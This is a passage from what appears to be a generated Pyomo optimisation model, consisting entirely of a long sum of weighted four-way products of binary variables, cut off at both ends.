m.b25*m.b31 + 320*m.b9*m.b15*m.b26*m.b32 + 256*m.b9*m.b15*m.b27*m.b33 + 192*m.b9*m.b15*m.b28*
m.b34 + 128*m.b9*m.b15*m.b29*m.b35 + 64*m.b9*m.b15*m.b30*m.b2 + 512*m.b9*m.b16*m.b17*m.b24 + 512*
m.b9*m.b16*m.b18*m.b25 + 512*m.b9*m.b16*m.b19*m.b26 + 512*m.b9*m.b16*m.b20*m.b27 + 512*m.b9*m.b16
*m.b21*m.b28 + 512*m.b9*m.b16*m.b22*m.b29 + 448*m.b9*m.b16*m.b23*m.b30 + 384*m.b9*m.b16*m.b24*
m.b31 + 320*m.b9*m.b16*m.b25*m.b32 + 256*m.b9*m.b16*m.b26*m.b33 + 192*m.b9*m.b16*m.b27*m.b34 +
128*m.b9*m.b16*m.b28*m.b35 + 64*m.b9*m.b16*m.b29*m.b2 + 512*m.b9*m.b17*m.b18*m.b26 + 512*m.b9*
m.b17*m.b19*m.b27 + 512*m.b9*m.b17*m.b20*m.b28 + 512*m.b9*m.b17*m.b21*m.b29 + 448*m.b9*m.b17*
m.b22*m.b30 + 384*m.b9*m.b17*m.b23*m.b31 + 320*m.b9*m.b17*m.b24*m.b32 + 256*m.b9*m.b17*m.b25*
m.b33 + 192*m.b9*m.b17*m.b26*m.b34 + 128*m.b9*m.b17*m.b27*m.b35 + 64*m.b9*m.b17*m.b28*m.b2 + 512*
m.b9*m.b18*m.b19*m.b28 + 512*m.b9*m.b18*m.b20*m.b29 + 448*m.b9*m.b18*m.b21*m.b30 + 384*m.b9*m.b18
*m.b22*m.b31 + 320*m.b9*m.b18*m.b23*m.b32 + 256*m.b9*m.b18*m.b24*m.b33 + 192*m.b9*m.b18*m.b25*
m.b34 + 128*m.b9*m.b18*m.b26*m.b35 + 64*m.b9*m.b18*m.b27*m.b2 + 448*m.b9*m.b19*m.b20*m.b30 + 384*
m.b9*m.b19*m.b21*m.b31 + 320*m.b9*m.b19*m.b22*m.b32 + 256*m.b9*m.b19*m.b23*m.b33 + 192*m.b9*m.b19
*m.b24*m.b34 + 128*m.b9*m.b19*m.b25*m.b35 + 64*m.b9*m.b19*m.b26*m.b2 + 320*m.b9*m.b20*m.b21*m.b32
+ 256*m.b9*m.b20*m.b22*m.b33 + 192*m.b9*m.b20*m.b23*m.b34 + 128*m.b9*m.b20*m.b24*m.b35 + 64*m.b9
*m.b20*m.b25*m.b2 + 192*m.b9*m.b21*m.b22*m.b34 + 128*m.b9*m.b21*m.b23*m.b35 + 64*m.b9*m.b21*m.b24
*m.b2 + 64*m.b9*m.b22*m.b23*m.b2 + 64*m.b10*m.b11*m.b12*m.b13 + 64*m.b10*m.b11*m.b13*m.b14 + 64*
m.b10*m.b11*m.b14*m.b15 + 64*m.b10*m.b11*m.b15*m.b16 + 64*m.b10*m.b11*m.b16*m.b17 + 64*m.b10*
m.b11*m.b17*m.b18 + 64*m.b10*m.b11*m.b18*m.b19 + 64*m.b10*m.b11*m.b19*m.b20 + 64*m.b10*m.b11*
m.b20*m.b21 + 64*m.b10*m.b11*m.b21*m.b22 + 64*m.b10*m.b11*m.b22*m.b23 + 576*m.b10*m.b11*m.b23*
m.b24 + 576*m.b10*m.b11*m.b24*m.b25 + 576*m.b10*m.b11*m.b25*m.b26 + 576*m.b10*m.b11*m.b26*m.b27
+ 576*m.b10*m.b11*m.b27*m.b28 + 512*m.b10*m.b11*m.b28*m.b29 + 448*m.b10*m.b11*m.b29*m.b30 + 384*
m.b10*m.b11*m.b30*m.b31 + 320*m.b10*m.b11*m.b31*m.b32 + 256*m.b10*m.b11*m.b32*m.b33 + 192*m.b10*
m.b11*m.b33*m.b34 + 128*m.b10*m.b11*m.b34*m.b35 + 64*m.b10*m.b11*m.b35*m.b2 + 64*m.b10*m.b12*
m.b13*m.b15 + 64*m.b10*m.b12*m.b14*m.b16 + 64*m.b10*m.b12*m.b15*m.b17 + 64*m.b10*m.b12*m.b16*
m.b18 + 64*m.b10*m.b12*m.b17*m.b19 + 64*m.b10*m.b12*m.b18*m.b20 + 64*m.b10*m.b12*m.b19*m.b21 + 64
*m.b10*m.b12*m.b20*m.b22 + 64*m.b10*m.b12*m.b21*m.b23 + 576*m.b10*m.b12*m.b22*m.b24 + 576*m.b10*
m.b12*m.b23*m.b25 + 576*m.b10*m.b12*m.b24*m.b26 + 576*m.b10*m.b12*m.b25*m.b27 + 576*m.b10*m.b12*
m.b26*m.b28 + 512*m.b10*m.b12*m.b27*m.b29 + 448*m.b10*m.b12*m.b28*m.b30 + 384*m.b10*m.b12*m.b29*
m.b31 + 320*m.b10*m.b12*m.b30*m.b32 + 256*m.b10*m.b12*m.b31*m.b33 + 192*m.b10*m.b12*m.b32*m.b34
+ 128*m.b10*m.b12*m.b33*m.b35 + 64*m.b10*m.b12*m.b34*m.b2 + 64*m.b10*m.b13*m.b14*m.b17 + 64*
m.b10*m.b13*m.b15*m.b18 + 64*m.b10*m.b13*m.b16*m.b19 + 64*m.b10*m.b13*m.b17*m.b20 + 64*m.b10*
m.b13*m.b18*m.b21 + 64*m.b10*m.b13*m.b19*m.b22 + 64*m.b10*m.b13*m.b20*m.b23 + 576*m.b10*m.b13*
m.b21*m.b24 + 576*m.b10*m.b13*m.b22*m.b25 + 576*m.b10*m.b13*m.b23*m.b26 + 576*m.b10*m.b13*m.b24*
m.b27 + 576*m.b10*m.b13*m.b25*m.b28 + 512*m.b10*m.b13*m.b26*m.b29 + 448*m.b10*m.b13*m.b27*m.b30
+ 384*m.b10*m.b13*m.b28*m.b31 + 320*m.b10*m.b13*m.b29*m.b32 + 256*m.b10*m.b13*m.b30*m.b33 + 192*
m.b10*m.b13*m.b31*m.b34 + 128*m.b10*m.b13*m.b32*m.b35 + 64*m.b10*m.b13*m.b33*m.b2 + 64*m.b10*
m.b14*m.b15*m.b19 + 64*m.b10*m.b14*m.b16*m.b20 + 64*m.b10*m.b14*m.b17*m.b21 + 64*m.b10*m.b14*
m.b18*m.b22 + 64*m.b10*m.b14*m.b19*m.b23 + 576*m.b10*m.b14*m.b20*m.b24 + 576*m.b10*m.b14*m.b21*
m.b25 + 576*m.b10*m.b14*m.b22*m.b26 + 576*m.b10*m.b14*m.b23*m.b27 + 576*m.b10*m.b14*m.b24*m.b28
+ 512*m.b10*m.b14*m.b25*m.b29 + 448*m.b10*m.b14*m.b26*m.b30 + 384*m.b10*m.b14*m.b27*m.b31 + 320*
m.b10*m.b14*m.b28*m.b32 + 256*m.b10*m.b14*m.b29*m.b33 + 192*m.b10*m.b14*m.b30*m.b34 + 128*m.b10*
m.b14*m.b31*m.b35 + 64*m.b10*m.b14*m.b32*m.b2 + 64*m.b10*m.b15*m.b16*m.b21 + 64*m.b10*m.b15*m.b17
*m.b22 + 64*m.b10*m.b15*m.b18*m.b23 + 576*m.b10*m.b15*m.b19*m.b24 + 576*m.b10*m.b15*m.b20*m.b25
+ 576*m.b10*m.b15*m.b21*m.b26 + 576*m.b10*m.b15*m.b22*m.b27 + 576*m.b10*m.b15*m.b23*m.b28 + 512*
m.b10*m.b15*m.b24*m.b29 + 448*m.b10*m.b15*m.b25*m.b30 + 384*m.b10*m.b15*m.b26*m.b31 + 320*m.b10*
m.b15*m.b27*m.b32 + 256*m.b10*m.b15*m.b28*m.b33 + 192*m.b10*m.b15*m.b29*m.b34 + 128*m.b10*m.b15*
m.b30*m.b35 + 64*m.b10*m.b15*m.b31*m.b2 + 64*m.b10*m.b16*m.b17*m.b23 + 576*m.b10*m.b16*m.b18*
m.b24 + 576*m.b10*m.b16*m.b19*m.b25 + 576*m.b10*m.b16*m.b20*m.b26 + 576*m.b10*m.b16*m.b21*m.b27
+ 576*m.b10*m.b16*m.b22*m.b28 + 512*m.b10*m.b16*m.b23*m.b29 + 448*m.b10*m.b16*m.b24*m.b30 + 384*
m.b10*m.b16*m.b25*m.b31 + 320*m.b10*m.b16*m.b26*m.b32 + 256*m.b10*m.b16*m.b27*m.b33 + 192*m.b10*
m.b16*m.b28*m.b34 + 128*m.b10*m.b16*m.b29*m.b35 + 64*m.b10*m.b16*m.b30*m.b2 + 576*m.b10*m.b17*
m.b18*m.b25 + 576*m.b10*m.b17*m.b19*m.b26 + 576*m.b10*m.b17*m.b20*m.b27 + 576*m.b10*m.b17*m.b21*
m.b28 + 512*m.b10*m.b17*m.b22*m.b29 + 448*m.b10*m.b17*m.b23*m.b30 + 384*m.b10*m.b17*m.b24*m.b31
+ 320*m.b10*m.b17*m.b25*m.b32 + 256*m.b10*m.b17*m.b26*m.b33 + 192*m.b10*m.b17*m.b27*m.b34 + 128*
m.b10*m.b17*m.b28*m.b35 + 64*m.b10*m.b17*m.b29*m.b2 + 576*m.b10*m.b18*m.b19*m.b27 + 576*m.b10*
m.b18*m.b20*m.b28 + 512*m.b10*m.b18*m.b21*m.b29 + 448*m.b10*m.b18*m.b22*m.b30 + 384*m.b10*m.b18*
m.b23*m.b31 + 320*m.b10*m.b18*m.b24*m.b32 + 256*m.b10*m.b18*m.b25*m.b33 + 192*m.b10*m.b18*m.b26*
m.b34 + 128*m.b10*m.b18*m.b27*m.b35 + 64*m.b10*m.b18*m.b28*m.b2 + 512*m.b10*m.b19*m.b20*m.b29 +
448*m.b10*m.b19*m.b21*m.b30 + 384*m.b10*m.b19*m.b22*m.b31 + 320*m.b10*m.b19*m.b23*m.b32 + 256*
m.b10*m.b19*m.b24*m.b33 + 192*m.b10*m.b19*m.b25*m.b34 + 128*m.b10*m.b19*m.b26*m.b35 + 64*m.b10*
m.b19*m.b27*m.b2 + 384*m.b10*m.b20*m.b21*m.b31 + 320*m.b10*m.b20*m.b22*m.b32 + 256*m.b10*m.b20*
m.b23*m.b33 + 192*m.b10*m.b20*m.b24*m.b34 + 128*m.b10*m.b20*m.b25*m.b35 + 64*m.b10*m.b20*m.b26*
m.b2 + 256*m.b10*m.b21*m.b22*m.b33 + 192*m.b10*m.b21*m.b23*m.b34 + 128*m.b10*m.b21*m.b24*m.b35 +
64*m.b10*m.b21*m.b25*m.b2 + 128*m.b10*m.b22*m.b23*m.b35 + 64*m.b10*m.b22*m.b24*m.b2 + 64*m.b11*
m.b12*m.b13*m.b14 + 64*m.b11*m.b12*m.b14*m.b15 + 64*m.b11*m.b12*m.b15*m.b16 + 64*m.b11*m.b12*
m.b16*m.b17 + 64*m.b11*m.b12*m.b17*m.b18 + 64*m.b11*m.b12*m.b18*m.b19 + 64*m.b11*m.b12*m.b19*
m.b20 + 64*m.b11*m.b12*m.b20*m.b21 + 64*m.b11*m.b12*m.b21*m.b22 + 64*m.b11*m.b12*m.b22*m.b23 + 64
*m.b11*m.b12*m.b23*m.b24 + 640*m.b11*m.b12*m.b24*m.b25 + 640*m.b11*m.b12*m.b25*m.b26 + 640*m.b11*
m.b12*m.b26*m.b27 + 576*m.b11*m.b12*m.b27*m.b28 + 512*m.b11*m.b12*m.b28*m.b29 + 448*m.b11*m.b12*
m.b29*m.b30 + 384*m.b11*m.b12*m.b30*m.b31 + 320*m.b11*m.b12*m.b31*m.b32 + 256*m.b11*m.b12*m.b32*
m.b33 + 192*m.b11*m.b12*m.b33*m.b34 + 128*m.b11*m.b12*m.b34*m.b35 + 64*m.b11*m.b12*m.b35*m.b2 +
64*m.b11*m.b13*m.b14*m.b16 + 64*m.b11*m.b13*m.b15*m.b17 + 64*m.b11*m.b13*m.b16*m.b18 + 64*m.b11*
m.b13*m.b17*m.b19 + 64*m.b11*m.b13*m.b18*m.b20 + 64*m.b11*m.b13*m.b19*m.b21 + 64*m.b11*m.b13*
m.b20*m.b22 + 64*m.b11*m.b13*m.b21*m.b23 + 64*m.b11*m.b13*m.b22*m.b24 + 640*m.b11*m.b13*m.b23*
m.b25 + 640*m.b11*m.b13*m.b24*m.b26 + 640*m.b11*m.b13*m.b25*m.b27 + 576*m.b11*m.b13*m.b26*m.b28
+ 512*m.b11*m.b13*m.b27*m.b29 + 448*m.b11*m.b13*m.b28*m.b30 + 384*m.b11*m.b13*m.b29*m.b31 + 320*
m.b11*m.b13*m.b30*m.b32 + 256*m.b11*m.b13*m.b31*m.b33 + 192*m.b11*m.b13*m.b32*m.b34 + 128*m.b11*
m.b13*m.b33*m.b35 + 64*m.b11*m.b13*m.b34*m.b2 + 64*m.b11*m.b14*m.b15*m.b18 + 64*m.b11*m.b14*m.b16
*m.b19 + 64*m.b11*m.b14*m.b17*m.b20 + 64*m.b11*m.b14*m.b18*m.b21 + 64*m.b11*m.b14*m.b19*m.b22 +
64*m.b11*m.b14*m.b20*m.b23 + 64*m.b11*m.b14*m.b21*m.b24 + 640*m.b11*m.b14*m.b22*m.b25 + 640*m.b11
*m.b14*m.b23*m.b26 + 640*m.b11*m.b14*m.b24*m.b27 + 576*m.b11*m.b14*m.b25*m.b28 + 512*m.b11*m.b14*
m.b26*m.b29 + 448*m.b11*m.b14*m.b27*m.b30 + 384*m.b11*m.b14*m.b28*m.b31 + 320*m.b11*m.b14*m.b29*
m.b32 + 256*m.b11*m.b14*m.b30*m.b33 + 192*m.b11*m.b14*m.b31*m.b34 + 128*m.b11*m.b14*m.b32*m.b35
+ 64*m.b11*m.b14*m.b33*m.b2 + 64*m.b11*m.b15*m.b16*m.b20 + 64*m.b11*m.b15*m.b17*m.b21 + 64*m.b11
*m.b15*m.b18*m.b22 + 64*m.b11*m.b15*m.b19*m.b23 + 64*m.b11*m.b15*m.b20*m.b24 + 640*m.b11*m.b15*
m.b21*m.b25 + 640*m.b11*m.b15*m.b22*m.b26 + 640*m.b11*m.b15*m.b23*m.b27 + 576*m.b11*m.b15*m.b24*
m.b28 + 512*m.b11*m.b15*m.b25*m.b29 + 448*m.b11*m.b15*m.b26*m.b30 + 384*m.b11*m.b15*m.b27*m.b31
+ 320*m.b11*m.b15*m.b28*m.b32 + 256*m.b11*m.b15*m.b29*m.b33 + 192*m.b11*m.b15*m.b30*m.b34 + 128*
m.b11*m.b15*m.b31*m.b35 + 64*m.b11*m.b15*m.b32*m.b2 + 64*m.b11*m.b16*m.b17*m.b22 + 64*m.b11*m.b16
*m.b18*m.b23 + 64*m.b11*m.b16*m.b19*m.b24 + 640*m.b11*m.b16*m.b20*m.b25 + 640*m.b11*m.b16*m.b21*
m.b26 + 640*m.b11*m.b16*m.b22*m.b27 + 576*m.b11*m.b16*m.b23*m.b28 + 512*m.b11*m.b16*m.b24*m.b29
+ 448*m.b11*m.b16*m.b25*m.b30 + 384*m.b11*m.b16*m.b26*m.b31 + 320*m.b11*m.b16*m.b27*m.b32 + 256*
m.b11*m.b16*m.b28*m.b33 + 192*m.b11*m.b16*m.b29*m.b34 + 128*m.b11*m.b16*m.b30*m.b35 + 64*m.b11*
m.b16*m.b31*m.b2 + 64*m.b11*m.b17*m.b18*m.b24 + 640*m.b11*m.b17*m.b19*m.b25 + 640*m.b11*m.b17*
m.b20*m.b26 + 640*m.b11*m.b17*m.b21*m.b27 + 576*m.b11*m.b17*m.b22*m.b28 + 512*m.b11*m.b17*m.b23*
m.b29 + 448*m.b11*m.b17*m.b24*m.b30 + 384*m.b11*m.b17*m.b25*m.b31 + 320*m.b11*m.b17*m.b26*m.b32
+ 256*m.b11*m.b17*m.b27*m.b33 + 192*m.b11*m.b17*m.b28*m.b34 + 128*m.b11*m.b17*m.b29*m.b35 + 64*
m.b11*m.b17*m.b30*m.b2 + 640*m.b11*m.b18*m.b19*m.b26 + 640*m.b11*m.b18*m.b20*m.b27 + 576*m.b11*
m.b18*m.b21*m.b28 + 512*m.b11*m.b18*m.b22*m.b29 + 448*m.b11*m.b18*m.b23*m.b30 + 384*m.b11*m.b18*
m.b24*m.b31 + 320*m.b11*m.b18*m.b25*m.b32 + 256*m.b11*m.b18*m.b26*m.b33 + 192*m.b11*m.b18*m.b27*
m.b34 + 128*m.b11*m.b18*m.b28*m.b35 + 64*m.b11*m.b18*m.b29*m.b2 + 576*m.b11*m.b19*m.b20*m.b28 +
512*m.b11*m.b19*m.b21*m.b29 + 448*m.b11*m.b19*m.b22*m.b30 + 384*m.b11*m.b19*m.b23*m.b31 + 320*
m.b11*m.b19*m.b24*m.b32 + 256*m.b11*m.b19*m.b25*m.b33 + 192*m.b11*m.b19*m.b26*m.b34 + 128*m.b11*
m.b19*m.b27*m.b35 + 64*m.b11*m.b19*m.b28*m.b2 + 448*m.b11*m.b20*m.b21*m.b30 + 384*m.b11*m.b20*
m.b22*m.b31 + 320*m.b11*m.b20*m.b23*m.b32 + 256*m.b11*m.b20*m.b24*m.b33 + 192*m.b11*m.b20*m.b25*
m.b34 + 128*m.b11*m.b20*m.b26*m.b35 + 64*m.b11*m.b20*m.b27*m.b2 + 320*m.b11*m.b21*m.b22*m.b32 +
256*m.b11*m.b21*m.b23*m.b33 + 192*m.b11*m.b21*m.b24*m.b34 + 128*m.b11*m.b21*m.b25*m.b35 + 64*
m.b11*m.b21*m.b26*m.b2 + 192*m.b11*m.b22*m.b23*m.b34 + 128*m.b11*m.b22*m.b24*m.b35 + 64*m.b11*
m.b22*m.b25*m.b2 + 64*m.b11*m.b23*m.b24*m.b2 + 64*m.b12*m.b13*m.b14*m.b15 + 64*m.b12*m.b13*m.b15*
m.b16 + 64*m.b12*m.b13*m.b16*m.b17 + 64*m.b12*m.b13*m.b17*m.b18 + 64*m.b12*m.b13*m.b18*m.b19 + 64
*m.b12*m.b13*m.b19*m.b20 + 64*m.b12*m.b13*m.b20*m.b21 + 64*m.b12*m.b13*m.b21*m.b22 + 64*m.b12*
m.b13*m.b22*m.b23 + 64*m.b12*m.b13*m.b23*m.b24 + 64*m.b12*m.b13*m.b24*m.b25 + 704*m.b12*m.b13*
m.b25*m.b26 + 640*m.b12*m.b13*m.b26*m.b27 + 576*m.b12*m.b13*m.b27*m.b28 + 512*m.b12*m.b13*m.b28*
m.b29 + 448*m.b12*m.b13*m.b29*m.b30 + 384*m.b12*m.b13*m.b30*m.b31 + 320*m.b12*m.b13*m.b31*m.b32
+ 256*m.b12*m.b13*m.b32*m.b33 + 192*m.b12*m.b13*m.b33*m.b34 + 128*m.b12*m.b13*m.b34*m.b35 + 64*
m.b12*m.b13*m.b35*m.b2 + 64*m.b12*m.b14*m.b15*m.b17 + 64*m.b12*m.b14*m.b16*m.b18 + 64*m.b12*m.b14
*m.b17*m.b19 + 64*m.b12*m.b14*m.b18*m.b20 + 64*m.b12*m.b14*m.b19*m.b21 + 64*m.b12*m.b14*m.b20*
m.b22 + 64*m.b12*m.b14*m.b21*m.b23 + 64*m.b12*m.b14*m.b22*m.b24 + 64*m.b12*m.b14*m.b23*m.b25 +
704*m.b12*m.b14*m.b24*m.b26 + 640*m.b12*m.b14*m.b25*m.b27 + 576*m.b12*m.b14*m.b26*m.b28 + 512*
m.b12*m.b14*m.b27*m.b29 + 448*m.b12*m.b14*m.b28*m.b30 + 384*m.b12*m.b14*m.b29*m.b31 + 320*m.b12*
m.b14*m.b30*m.b32 + 256*m.b12*m.b14*m.b31*m.b33 + 192*m.b12*m.b14*m.b32*m.b34 + 128*m.b12*m.b14*
m.b33*m.b35 + 64*m.b12*m.b14*m.b34*m.b2 + 64*m.b12*m.b15*m.b16*m.b19 + 64*m.b12*m.b15*m.b17*m.b20
+ 64*m.b12*m.b15*m.b18*m.b21 + 64*m.b12*m.b15*m.b19*m.b22 + 64*m.b12*m.b15*m.b20*m.b23 + 64*
m.b12*m.b15*m.b21*m.b24 + 64*m.b12*m.b15*m.b22*m.b25 + 704*m.b12*m.b15*m.b23*m.b26 + 640*m.b12*
m.b15*m.b24*m.b27 + 576*m.b12*m.b15*m.b25*m.b28 + 512*m.b12*m.b15*m.b26*m.b29 + 448*m.b12*m.b15*
m.b27*m.b30 + 384*m.b12*m.b15*m.b28*m.b31 + 320*m.b12*m.b15*m.b29*m.b32 + 256*m.b12*m.b15*m.b30*
m.b33 + 192*m.b12*m.b15*m.b31*m.b34 + 128*m.b12*m.b15*m.b32*m.b35 + 64*m.b12*m.b15*m.b33*m.b2 +
64*m.b12*m.b16*m.b17*m.b21 + 64*m.b12*m.b16*m.b18*m.b22 + 64*m.b12*m.b16*m.b19*m.b23 + 64*m.b12*
m.b16*m.b20*m.b24 + 64*m.b12*m.b16*m.b21*m.b25 + 704*m.b12*m.b16*m.b22*m.b26 + 640*m.b12*m.b16*
m.b23*m.b27 + 576*m.b12*m.b16*m.b24*m.b28 + 512*m.b12*m.b16*m.b25*m.b29 + 448*m.b12*m.b16*m.b26*
m.b30 + 384*m.b12*m.b16*m.b27*m.b31 + 320*m.b12*m.b16*m.b28*m.b32 + 256*m.b12*m.b16*m.b29*m.b33
+ 192*m.b12*m.b16*m.b30*m.b34 + 128*m.b12*m.b16*m.b31*m.b35 + 64*m.b12*m.b16*m.b32*m.b2 + 64*
m.b12*m.b17*m.b18*m.b23 + 64*m.b12*m.b17*m.b19*m.b24 + 64*m.b12*m.b17*m.b20*m.b25 + 704*m.b12*
m.b17*m.b21*m.b26 + 640*m.b12*m.b17*m.b22*m.b27 + 576*m.b12*m.b17*m.b23*m.b28 + 512*m.b12*m.b17*
m.b24*m.b29 + 448*m.b12*m.b17*m.b25*m.b30 + 384*m.b12*m.b17*m.b26*m.b31 + 320*m.b12*m.b17*m.b27*
m.b32 + 256*m.b12*m.b17*m.b28*m.b33 + 192*m.b12*m.b17*m.b29*m.b34 + 128*m.b12*m.b17*m.b30*m.b35
+ 64*m.b12*m.b17*m.b31*m.b2 + 64*m.b12*m.b18*m.b19*m.b25 + 704*m.b12*m.b18*m.b20*m.b26 + 640*
m.b12*m.b18*m.b21*m.b27 + 576*m.b12*m.b18*m.b22*m.b28 + 512*m.b12*m.b18*m.b23*m.b29 + 448*m.b12*
m.b18*m.b24*m.b30 + 384*m.b12*m.b18*m.b25*m.b31 + 320*m.b12*m.b18*m.b26*m.b32 + 256*m.b12*m.b18*
m.b27*m.b33 + 192*m.b12*m.b18*m.b28*m.b34 + 128*m.b12*m.b18*m.b29*m.b35 + 64*m.b12*m.b18*m.b30*
m.b2 + 640*m.b12*m.b19*m.b20*m.b27 + 576*m.b12*m.b19*m.b21*m.b28 + 512*m.b12*m.b19*m.b22*m.b29 +
448*m.b12*m.b19*m.b23*m.b30 + 384*m.b12*m.b19*m.b24*m.b31 + 320*m.b12*m.b19*m.b25*m.b32 + 256*
m.b12*m.b19*m.b26*m.b33 + 192*m.b12*m.b19*m.b27*m.b34 + 128*m.b12*m.b19*m.b28*m.b35 + 64*m.b12*
m.b19*m.b29*m.b2 + 512*m.b12*m.b20*m.b21*m.b29 + 448*m.b12*m.b20*m.b22*m.b30 + 384*m.b12*m.b20*
m.b23*m.b31 + 320*m.b12*m.b20*m.b24*m.b32 + 256*m.b12*m.b20*m.b25*m.b33 + 192*m.b12*m.b20*m.b26*
m.b34 + 128*m.b12*m.b20*m.b27*m.b35 + 64*m.b12*m.b20*m.b28*m.b2 + 384*m.b12*m.b21*m.b22*m.b31 +
320*m.b12*m.b21*m.b23*m.b32 + 256*m.b12*m.b21*m.b24*m.b33 + 192*m.b12*m.b21*m.b25*m.b34 + 128*
m.b12*m.b21*m.b26*m.b35 + 64*m.b12*m.b21*m.b27*m.b2 + 256*m.b12*m.b22*m.b23*m.b33 + 192*m.b12*
m.b22*m.b24*m.b34 + 128*m.b12*m.b22*m.b25*m.b35 + 64*m.b12*m.b22*m.b26*m.b2 + 128*m.b12*m.b23*
m.b24*m.b35 + 64*m.b12*m.b23*m.b25*m.b2 + 64*m.b13*m.b14*m.b15*m.b16 + 64*m.b13*m.b14*m.b16*m.b17
+ 64*m.b13*m.b14*m.b17*m.b18 + 64*m.b13*m.b14*m.b18*m.b19 + 64*m.b13*m.b14*m.b19*m.b20 + 64*
m.b13*m.b14*m.b20*m.b21 + 64*m.b13*m.b14*m.b21*m.b22 + 64*m.b13*m.b14*m.b22*m.b23 + 64*m.b13*
m.b14*m.b23*m.b24 + 64*m.b13*m.b14*m.b24*m.b25 + 64*m.b13*m.b14*m.b25*m.b26 + 640*m.b13*m.b14*
m.b26*m.b27 + 576*m.b13*m.b14*m.b27*m.b28 + 512*m.b13*m.b14*m.b28*m.b29 + 448*m.b13*m.b14*m.b29*
m.b30 + 384*m.b13*m.b14*m.b30*m.b31 + 320*m.b13*m.b14*m.b31*m.b32 + 256*m.b13*m.b14*m.b32*m.b33
+ 192*m.b13*m.b14*m.b33*m.b34 + 128*m.b13*m.b14*m.b34*m.b35 + 64*m.b13*m.b14*m.b35*m.b2 + 64*
m.b13*m.b15*m.b16*m.b18 + 64*m.b13*m.b15*m.b17*m.b19 + 64*m.b13*m.b15*m.b18*m.b20 + 64*m.b13*
m.b15*m.b19*m.b21 + 64*m.b13*m.b15*m.b20*m.b22 + 64*m.b13*m.b15*m.b21*m.b23 + 64*m.b13*m.b15*
m.b22*m.b24 + 64*m.b13*m.b15*m.b23*m.b25 + 64*m.b13*m.b15*m.b24*m.b26 + 640*m.b13*m.b15*m.b25*
m.b27 + 576*m.b13*m.b15*m.b26*m.b28 + 512*m.b13*m.b15*m.b27*m.b29 + 448*m.b13*m.b15*m.b28*m.b30
+ 384*m.b13*m.b15*m.b29*m.b31 + 320*m.b13*m.b15*m.b30*m.b32 + 256*m.b13*m.b15*m.b31*m.b33 + 192*
m.b13*m.b15*m.b32*m.b34 + 128*m.b13*m.b15*m.b33*m.b35 + 64*m.b13*m.b15*m.b34*m.b2 + 64*m.b13*
m.b16*m.b17*m.b20 + 64*m.b13*m.b16*m.b18*m.b21 + 64*m.b13*m.b16*m.b19*m.b22 + 64*m.b13*m.b16*
m.b20*m.b23 + 64*m.b13*m.b16*m.b21*m.b24 + 64*m.b13*m.b16*m.b22*m.b25 + 64*m.b13*m.b16*m.b23*
m.b26 + 640*m.b13*m.b16*m.b24*m.b27 + 576*m.b13*m.b16*m.b25*m.b28 + 512*m.b13*m.b16*m.b26*m.b29
+ 448*m.b13*m.b16*m.b27*m.b30 + 384*m.b13*m.b16*m.b28*m.b31 + 320*m.b13*m.b16*m.b29*m.b32 + 256*
m.b13*m.b16*m.b30*m.b33 + 192*m.b13*m.b16*m.b31*m.b34 + 128*m.b13*m.b16*m.b32*m.b35 + 64*m.b13*
m.b16*m.b33*m.b2 + 64*m.b13*m.b17*m.b18*m.b22 + 64*m.b13*m.b17*m.b19*m.b23 + 64*m.b13*m.b17*m.b20
*m.b24 + 64*m.b13*m.b17*m.b21*m.b25 + 64*m.b13*m.b17*m.b22*m.b26 + 640*m.b13*m.b17*m.b23*m.b27 +
576*m.b13*m.b17*m.b24*m.b28 + 512*m.b13*m.b17*m.b25*m.b29 + 448*m.b13*m.b17*m.b26*m.b30 + 384*
m.b13*m.b17*m.b27*m.b31 + 320*m.b13*m.b17*m.b28*m.b32 + 256*m.b13*m.b17*m.b29*m.b33 + 192*m.b13*
m.b17*m.b30*m.b34 + 128*m.b13*m.b17*m.b31*m.b35 + 64*m.b13*m.b17*m.b32*m.b2 + 64*m.b13*m.b18*
m.b19*m.b24 + 64*m.b13*m.b18*m.b20*m.b25 + 64*m.b13*m.b18*m.b21*m.b26 + 640*m.b13*m.b18*m.b22*
m.b27 + 576*m.b13*m.b18*m.b23*m.b28 + 512*m.b13*m.b18*m.b24*m.b29 + 448*m.b13*m.b18*m.b25*m.b30
+ 384*m.b13*m.b18*m.b26*m.b31 + 320*m.b13*m.b18*m.b27*m.b32 + 256*m.b13*m.b18*m.b28*m.b33 + 192*
m.b13*m.b18*m.b29*m.b34 + 128*m.b13*m.b18*m.b30*m.b35 + 64*m.b13*m.b18*m.b31*m.b2 + 64*m.b13*
m.b19*m.b20*m.b26 + 640*m.b13*m.b19*m.b21*m.b27 + 576*m.b13*m.b19*m.b22*m.b28 + 512*m.b13*m.b19*
m.b23*m.b29 + 448*m.b13*m.b19*m.b24*m.b30 + 384*m.b13*m.b19*m.b25*m.b31 + 320*m.b13*m.b19*m.b26*
m.b32 + 256*m.b13*m.b19*m.b27*m.b33 + 192*m.b13*m.b19*m.b28*m.b34 + 128*m.b13*m.b19*m.b29*m.b35
+ 64*m.b13*m.b19*m.b30*m.b2 + 576*m.b13*m.b20*m.b21*m.b28 + 512*m.b13*m.b20*m.b22*m.b29 + 448*
m.b13*m.b20*m.b23*m.b30 + 384*m.b13*m.b20*m.b24*m.b31 + 320*m.b13*m.b20*m.b25*m.b32 + 256*m.b13*
m.b20*m.b26*m.b33 + 192*m.b13*m.b20*m.b27*m.b34 + 128*m.b13*m.b20*m.b28*m.b35 + 64*m.b13*m.b20*
m.b29*m.b2 + 448*m.b13*m.b21*m.b22*m.b30 + 384*m.b13*m.b21*m.b23*m.b31 + 320*m.b13*m.b21*m.b24*
m.b32 + 256*m.b13*m.b21*m.b25*m.b33 + 192*m.b13*m.b21*m.b26*m.b34 + 128*m.b13*m.b21*m.b27*m.b35
+ 64*m.b13*m.b21*m.b28*m.b2 + 320*m.b13*m.b22*m.b23*m.b32 + 256*m.b13*m.b22*m.b24*m.b33 + 192*
m.b13*m.b22*m.b25*m.b34 + 128*m.b13*m.b22*m.b26*m.b35 + 64*m.b13*m.b22*m.b27*m.b2 + 192*m.b13*
m.b23*m.b24*m.b34 + 128*m.b13*m.b23*m.b25*m.b35 + 64*m.b13*m.b23*m.b26*m.b2 + 64*m.b13*m.b24*
m.b25*m.b2 + 64*m.b14*m.b15*m.b16*m.b17 + 64*m.b14*m.b15*m.b17*m.b18 + 64*m.b14*m.b15*m.b18*m.b19
+ 64*m.b14*m.b15*m.b19*m.b20 + 64*m.b14*m.b15*m.b20*m.b21 + 64*m.b14*m.b15*m.b21*m.b22 + 64*
m.b14*m.b15*m.b22*m.b23 + 64*m.b14*m.b15*m.b23*m.b24 + 64*m.b14*m.b15*m.b24*m.b25 + 64*m.b14*
